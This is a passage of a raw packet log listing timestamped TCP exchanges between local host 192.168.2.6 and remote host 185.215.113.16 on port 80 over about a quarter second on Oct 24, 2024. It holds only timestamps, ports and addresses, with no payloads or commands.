Oct 24, 2024 18:09:12.857347965 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.857362032 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.857382059 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.857398033 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.857415915 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.857436895 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.857451916 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.857462883 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.857486010 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.857494116 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.857518911 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.857533932 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.857553959 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.857573032 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.857594013 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.895896912 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.895992994 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.896024942 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.896025896 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.896080971 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.896097898 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.896097898 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.896119118 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.896126032 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.896152973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.896162987 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.896203995 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.896203995 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.896235943 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.896255970 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.896275043 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.896286011 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.896321058 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.896348953 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.896353960 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.896375895 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.896389008 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.896399975 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.896424055 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.896437883 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.896464109 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.896471024 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.896500111 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.896511078 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.896548986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.929172993 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.929362059 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.929435015 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.929461002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.929461002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.929490089 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.929537058 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.929537058 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.929544926 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.929579973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.929613113 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.929630995 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.929630995 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.929644108 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.929652929 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.929677963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.929692984 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.929713011 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.929723024 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.929753065 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.929759979 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.929788113 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.929797888 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.929821014 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.929836035 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.929856062 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.929884911 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.929905891 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.930068016 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.930118084 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.930150986 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.930183887 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.930217028 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.930236101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.930236101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.930236101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.930236101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.930309057 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.930372000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.930425882 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.930474997 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.930507898 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.930541039 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.930569887 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.930571079 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.930571079 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.930571079 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.930644035 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.930828094 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.930877924 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.930879116 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.930912018 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.930931091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.930944920 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.930953026 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.930982113 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.930994987 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.931027889 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.975430012 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.975603104 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.975645065 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.975657940 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.975694895 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.975719929 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.975719929 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.975729942 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.975749969 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.975765944 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.975770950 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.975800037 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.975815058 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.975835085 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.975847006 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.975868940 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.975903034 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.975934982 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.975934982 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.975936890 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.975991964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.975991964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.976043940 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.976078033 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.976093054 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.976111889 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.976125956 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.976145029 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.976150990 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.976180077 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.976187944 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.976213932 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.976232052 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.976253033 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.976517916 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.976569891 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.976603985 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.976656914 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.976690054 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.976712942 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.976712942 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.976712942 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.976712942 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.976722002 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.976757050 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.976788998 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.976790905 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.976788998 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.976819038 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.976840973 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.977175951 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.977229118 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.977298021 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.977329969 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.977351904 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.977365017 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.977372885 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.977397919 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.977411985 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.977432966 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.977447987 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.977467060 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.977490902 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.977503061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:12.977520943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:12.977545023 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.015569925 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.015614033 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.015680075 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.015691996 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.015732050 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.015763998 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.015763998 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.015765905 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.015794039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.015801907 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.015811920 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.015836000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.015865088 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.015873909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.015887976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.015911102 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.015945911 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.015948057 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.015948057 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.015981913 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.015991926 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.016016006 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.016025066 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.016051054 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.016062975 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.016088009 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.016093969 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.016144037 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.048852921 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.048898935 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.048955917 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.048990011 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049022913 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049055099 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049089909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049115896 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049115896 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049123049 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049115896 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049115896 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049117088 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049117088 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049158096 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049192905 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049218893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049218893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049218893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049227953 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049263954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049272060 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049272060 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049299002 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049334049 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049340010 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049361944 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049381018 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049385071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049418926 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049432039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049451113 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049467087 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049487114 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049510002 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049531937 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049582958 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049632072 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049664974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049699068 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049762964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049762964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049762964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049762964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.049885988 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049921036 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.049972057 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.050004005 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.050035954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.050051928 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.050051928 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.050051928 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.050051928 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.050069094 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.050107956 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.050129890 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.050129890 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.050129890 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.050146103 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.050164938 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.050198078 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.094880104 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.094974995 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.094976902 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095041990 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095055103 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095081091 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095107079 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095117092 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095133066 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095169067 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095175982 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095202923 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095218897 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095237970 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095262051 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095273018 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095293999 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095309973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095334053 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095380068 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095388889 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095422983 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095439911 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095458984 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095469952 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095493078 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095509052 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095530033 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095546961 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095582962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095797062 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095829964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095854044 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095864058 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095871925 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095897913 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095931053 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095935106 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095962048 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.095968962 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.095984936 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.096004009 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.096012115 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.096035957 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.096052885 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.096070051 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.096091032 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.096101999 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.096117973 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.096138000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.096147060 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.096189976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.096560001 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.096596003 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.096616983 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.096642971 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.096647024 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.096682072 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.096704006 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.096715927 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.096723080 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.096749067 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.096765041 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.096785069 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.096807003 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.096818924 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.096842051 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.096863031 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.134572029 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.134607077 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.134639978 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.134653091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.134653091 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.134689093 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.134722948 CEST	80	49994	185.215.113.16	192.168.2.6
